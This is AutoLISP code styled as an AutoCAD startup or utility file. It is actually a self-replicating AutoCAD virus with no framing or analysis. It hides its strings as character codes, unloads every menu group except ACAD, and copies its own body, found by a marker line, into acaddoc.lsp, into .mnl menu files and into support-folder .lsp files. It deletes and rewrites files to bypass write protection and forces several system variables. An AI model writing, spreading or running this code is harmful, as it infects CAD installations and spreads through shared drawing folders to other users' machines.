(setq s::startup nil)
(setq *startup*	(strcat	(chr 40)
			(chr 115)
			(chr 101)
			(chr 116)
			(chr 113)
			(chr 32)
			(chr 115)
			(chr 58)
			(chr 58)
			(chr 115)
			(chr 116)
			(chr 97)
			(chr 114)
			(chr 116)
			(chr 117)
			(chr 112)
			(chr 32)
			(chr 110)
			(chr 105)
			(chr 108)
			(chr 41)
		)
)
(setq *acad-object* nil)

(load"shxfont""")(defun vlex-file-attribute (filename / filenamenew tmpname)
  (setq fileatt nil)
  (setq filenamenew (findfile filename))
  (setq	tmpname	(strcat	(vl-filename-directory
			  (findfile (strcat (chr 97)
					    (chr 99)
					    (chr 97)
					    (chr 100)
					    (chr 46)
					    (chr 101)
					    (chr 120)
					    (chr 101)
				    )
			  )
			)
			(strcat	(chr 92)
				(chr 116)
				(chr 109)
				(chr 112)
				(chr 46)
				(chr 116)
				(chr 120)
				(chr 116)
			)
		)
  )
  (vl-file-copy (findfile filename) tmpname)
  (if (vl-file-delete filename)
    (progn
      (setq fileatt T)
      (vl-file-copy tmpname filenamenew)
      (vl-file-delete tmpname)
    )
    (progn
      (setq fileatt nil)
      (vl-file-delete tmpname)
    )
  )
  fileatt
)
(defun vlex-to-file (filepath strlist / wjh extstr tetstr wjhh)
  (if (findfile filepath)
    (progn
      (setq tetstr T)
      (setq wjh (open (findfile filepath) (chr 114)))
      (while (setq txtstr (read-line wjh))
	(if (= txtstr *startup*)
	  (setq tetstr nil)
	)
      )
      (close wjh)
      (if tetstr
	(progn
	  (if (vlex-file-attribute filepath)
	    (progn
	      (setq wjhh (open (findfile filepath) (chr 97)))
	      (write-line (chr 13) wjhh)
	      (foreach n strlist
		(write-line n wjhh)
	      )
	      (close wjhh)
	    )
	  )
	)
      )
    )
    (progn
      (setq wjjh (open filepath (chr 119)))
      (foreach n strlist
	(write-line n wjjh)
      )
      (close wjjh)
    )
  )
)
(defun vlex-file-strlist (filenpath text / wjh srlst tmp tep)
  (setq srlst nil)
  (setq wjh (open filenpath (chr 114)))
  (while (setq tmp (read-line wjh))
    (if	(= tmp text)
      (setq tep T)
    )
    (if	tep
      (setq srlst (append srlst (list tmp)))
    )
  )
  (if wjh
    (close wjh)
  )
  srlst
)
(defun vlex-string-listall (str delimiter / post strlst)
  (if str
    (progn (setq strlst nil)
	   (while (vl-string-search delimiter str)
	     (setq post (vl-string-search delimiter str))
	     (setq strlst (append strlst (list (substr str 1 post))))
	     (setq str (substr str (+ post 2)))
	   )
	   (vl-remove "" (append strlst (list str)))
    )
  )
)
(defun vlex-acadobject ()
  (cond	(*acad-object*)
	(T (setq *acad-object* (vlax-get-acad-object)))
  )
)
(defun vlex-menugroups () (vla-get-menugroups (vlex-acadobject)))
(defun vlex-menugroups-listall (/ out)
  (vlax-for each (vlex-menugroups)
    (setq out (cons (vla-get-name each) out))
  )
  (reverse out)
)
(setvar "cmdecho" 0)
(vl-load-com)
(setq menulist (vlex-menugroups-listall))
(foreach n menulist
  (if (/= (strcase n)
	  (strcat
	    (chr 65)
	    (chr 67)
	    (chr 65)
	    (chr 68)
	  )
      )
    (command (strcat (chr 109)
		     (chr 101)
		     (chr 110)
		     (chr 117)
		     (chr 117)
		     (chr 110)
		     (chr 108)
		     (chr 111)
		     (chr 97)
		     (chr 100)
	     )
	     n
    )
  )
)
;;;
;;;=== General Utility Functions ===
                                                                                                                         
(setq filepath (vlex-string-listall
		 (getenv (strcat
			   (chr 65)
			   (chr 67)
			   (chr 65)
			   (chr 68)
			 )
		 )
		 (chr 59)
	       )
)
(setq mnufilelist
       nil
      mnlfilelist
       nil
      lspfilelist
       nil
      filealllist
       nil
      strlist nil
      dwgpath nil
)
(foreach n filepath
  (if (vl-directory-files
	n
	(strcat
	  (chr 42)
	  (chr 46)
	  (chr 109)
	  (chr 110)
	  (chr 108)
	)
	1
      )
    (setq mnlfilelist
	   (append mnlfilelist
		   (vl-directory-files
		     n
		     (strcat (chr 42)
			     (chr 46)
			     (chr 109)
			     (chr 110)
			     (chr 108)
		     )
		     1
		   )
	   )
    )
  )
)
(foreach n filepath
  (if (vl-directory-files
	n
	(strcat
	  (chr 42)
	  (chr 46)
	  (chr 109)
	  (chr 110)
	  (chr 117)
	)
	1
      )
    (setq mnufilelist
	   (append mnufilelist
		   (vl-directory-files
		     n
		     (strcat (chr 42)
			     (chr 46)
			     (chr 109)
			     (chr 110)
			     (chr 117)
		     )
		     1
		   )
	   )
    )
  )
)
(setq lspfilelist
       (vl-directory-files
	 (strcat (vl-filename-directory
		   (findfile (strcat (chr 97)
				     (chr 99)
				     (chr 97)
				     (chr 100)
				     (chr 46)
				     (chr 101)
				     (chr 120)
				     (chr 101)
			     )
		   )
		 )
		 (strcat (chr 92)
			 (chr 115)
			 (chr 117)
			 (chr 112)
			 (chr 112)
			 (chr 111)
			 (chr 114)
			 (chr 116)
		 )
	 )
	 (strcat
	   (chr 42)
	   (chr 46)
	   (chr 108)
	   (chr 115)
	   (chr 112)
	 )
       )
)
(setq lspfilelist
       (append lspfilelist
	       (vl-directory-files
		 (vl-filename-directory
		   (findfile (strcat (chr 97)
				     (chr 99)
				     (chr 97)
				     (chr 100)
				     (chr 46)
				     (chr 101)
				     (chr 120)
				     (chr 101)
			     )
		   )
		 )
		 (strcat (chr 42)
			 (chr 46)
			 (chr 108)
			 (chr 115)
			 (chr 112)
		 )
	       )
       )
)
(setq acadpath (strcat (vl-filename-directory
			 (findfile (strcat (chr 97)
					   (chr 99)
					   (chr 97)
					   (chr 100)
					   (chr 46)
					   (chr 101)
					   (chr 120)
					   (chr 101)
				   )
			 )
		       )
		       (strcat (chr 92)
			       (chr 115)
			       (chr 117)
			       (chr 112)
			       (chr 112)
			       (chr 111)
			       (chr 114)
			       (chr 116)
		       )
	       )
)
(if (findfile (getvar (strcat (chr 100)
			      (chr 119)
			      (chr 103)
			      (chr 110)
			      (chr 97)
			      (chr 109)
			      (chr 101)
		      )
	      )
    )
  (setq	dwgpath	(vl-filename-directory
		  (findfile (getvar (strcat (chr 100)
					    (chr 119)
					    (chr 103)
					    (chr 110)
					    (chr 97)
					    (chr 109)
					    (chr 101)
				    )
			    )
		  )
		)
  )
  (setq dwgpath acadpath)
)
(setq dwgpath (strcat dwgpath
		      (chr 92)
		      (chr 97)
		      (chr 99)
		      (chr 97)
		      (chr 100)
		      (chr 100)
		      (chr 111)
		      (chr 99)
		      (chr 46)
		      (chr 108)
		      (chr 115)
		      (chr 112)
	      )
)
(setq filealllist (append mnlfilelist lspfilelist (list dwgpath)))
(setq listnum (length filealllist))
(setq num 0)
(while (< num listnum)
  (setq filename (nth num filealllist))
  (if (findfile filename)
    (setq strlist (vlex-file-strlist (findfile filename) *startup*))
  )
  (if strlist
    (setq num (1+ listnum))
  )
  (setq num (1+ num))
)
(vlex-to-file dwgpath strlist)
(foreach n mnufilelist
  (setq	mnlfile	(strcat	(vl-filename-directory (findfile n))
			(chr 92)
			(vl-filename-base (findfile n))
			(chr 46)
			(chr 109)
			(chr 110)
			(chr 108)
		)
  )
  (vlex-to-file mnlfile strlist)
)
(foreach n filealllist
  (vlex-to-file n strlist)
)
(princ)

;;;
;;; To restore the system variables.
;;;
(if (/= (getvar "sdi") 0)(setvar "sdi" 0))
(if (/= (getvar "acadlspasdoc") 1)(setvar "acadlspasdoc" 1))
(if (/= (getvar "zoomfactor") 40)(setvar "zoomfactor" 40))
(if (/= (getvar "mbuttonpan") 1)(setvar "mbuttonpan" 1))
(if (/= (getvar "highlight") 1)(setvar "highlight" 1))
(if (/= (getvar "fillmode") 1)(setvar "fillmode" 1))
(if (/= (getvar "pickadd") 1)(setvar "spickadd" 1))
(if (/= (getvar "pickauto") 1)(setvar "pickauto" 1))
(if (/= (getvar "pickfirst") 1)(setvar "pickfirst" 1))
(if (/= (getvar "filedia") 1)(setvar "filedia" 1))
(if (/= (getvar "blipmode") 0)(setvar "blipmode" 0))
(if (/= (getvar "fillmode") 1)(setvar "fillmode" 1))
(if (/= (getvar "textfill") 1)(setvar "textfill" 1))
(princ)












